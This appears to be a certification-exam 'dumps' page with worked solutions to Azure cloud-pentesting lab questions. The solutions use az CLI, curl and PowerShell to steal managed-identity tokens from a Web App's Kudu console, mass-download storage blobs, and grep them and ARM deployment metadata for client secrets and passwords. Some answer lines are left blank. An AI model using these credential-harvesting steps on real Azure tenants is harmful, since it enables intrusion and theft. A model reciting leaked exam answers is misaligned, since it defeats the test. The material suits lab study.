The SecOps Group CCPenX-Az Dumps - Pass Certified Cloud Pentesting eXpert - Azure Exam in First Attempt 2026

Detailed Solution:

First identify the managed identity attached to the Web App.

az webapp identity show \

--name RnD-Tools \

--resource-group Excalibur-Resources \

--output json

You should see a user-assigned managed identity similar to:

{

'userAssignedIdentities': {

'/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.ManagedIdentity/userAssignedIdentities/WebAppTokenIdentity': {

'clientId': 'cf3664d4-5cec-4feb-b0ef-88b7958809df',

'principalId': 'efe89e83-010f-42f6-9576-30531fa47af7'

}

}

}

Now query the role assignments for the managed identity's principal ID:

az role assignment list \

--assignee efe89e83-010f-42f6-9576-30531fa47af7 \

--all \

--output table

The returned custom role is:

AppService-Auditor

That makes option D correct.

Final Answer:

Detailed Solution:

For Azure Resource Manager API calls, the token audience/resource must be:

https://management.azure.com/

Inside App Service Kudu/console, request the token:

curl '$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/' \ -H 'X-IDENTITY-HEADER: $IDENTITY_HEADER'

The response contains:

{ 'access_token': '<jwt-token>', 'resource': 'https://management.azure.com/', 'token_type': 'Bearer' }

Correct option:

Detailed Solution:

Download the blob:

az storage blob download \

--account-name prodreportstore01 \

--container-name public-backups \

--name backup-config.json \

--file backup-config.json \

--auth-mode login

Read the file:

cat backup-config.json

Expected structure:

{

'tenantId': '8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a',

'clientId': 'c5fba7db-5e61-45bc-8944-3cd457bb19c2',

'clientSecret': 'REDACTED'

}

The App Registration application/client ID is stored in:

clientId

================

The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.

Detailed Solution:

List blobs inside the accessible container:

az storage blob list \

--account-name excaliburstore \

--container-name sensitive-files \

--sas-token '$SAS' \

--query '[].name' \

--output table

Download all files locally:

mkdir blobloot

az storage blob download-batch \

--account-name excaliburstore \

--source sensitive-files \

--destination blobloot \

--sas-token '$SAS'

Search the downloaded files for application credentials:

grep -RniE 'clientId|appId|applicationId|clientSecret|tenantId|secret|password' blobloot

On Windows PowerShell:

Select-String -Path .\blobloot\* -Pattern 'clientId|appId|applicationId|clientSecret|tenantId|secret|password' -CaseSensitive:$false

A typical file may look like this:

{

'tenantId': 'f015f36d-c07f-41fb-9bde-fffc3a22ee8b',

'clientId': '',

'clientSecret': ''

}

The clientId / appId value is the answer.

Final Answer:

Use the clientId / appId value found in the blob credential file.

================

The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:

sumit.siddharth@azuresecops.onmicrosoft.com

Detailed Solution:

The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity.

From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.

For Linux-style shell:

curl '$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/&client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df' \

-H 'X-IDENTITY-HEADER: $IDENTITY_HEADER'

For Windows PowerShell inside Kudu:

$uri = '$env:IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/&client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df'

$response = Invoke-RestMethod -Uri $uri -Headers @{

'X-IDENTITY-HEADER' = $env:IDENTITY_HEADER

}

$token = $response.access_token

Now use the token to query Azure Resource Manager.

$sub = '7403ec86-c39d-4d80-9efa-35c7580ecefa'

$rg = 'Excalibur-Resources'

Invoke-RestMethod `

-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-01' `

-Headers @{ Authorization = 'Bearer $token' }

Next, enumerate ARM deployments.

Invoke-RestMethod `

-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments?api-version=2021-04-01' `

-Headers @{ Authorization = 'Bearer $token' }

For each deployment name returned, inspect it:

$deploymentName = '<deployment-name>'

Invoke-RestMethod `

-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName?api-version=2021-04-01' `

-Headers @{ Authorization = 'Bearer $token' }

Also check deployment operations:

Invoke-RestMethod `

-Uri 'https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName/operations?api-version=2021-04-01' `

-Headers @{ Authorization = 'Bearer $token' }

Search the output for fields like:

password

secret

adminPassword

userPassword

credential

sumit

The exposed value is the answer to Q4.

A practical one-liner on Linux would be:

curl -s -H 'Authorization: Bearer $TOKEN' \

'https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.Resources/deployments/<deployment-name>/operations?api-version=2021-04-01' \

| jq '.. | strings' | grep -iE 'password|secret|credential|sumit|flag'

Final Answer:

Use the leaked secret/password value returned from the deployment metadat

a. Do not guess this; it is lab-generated.

================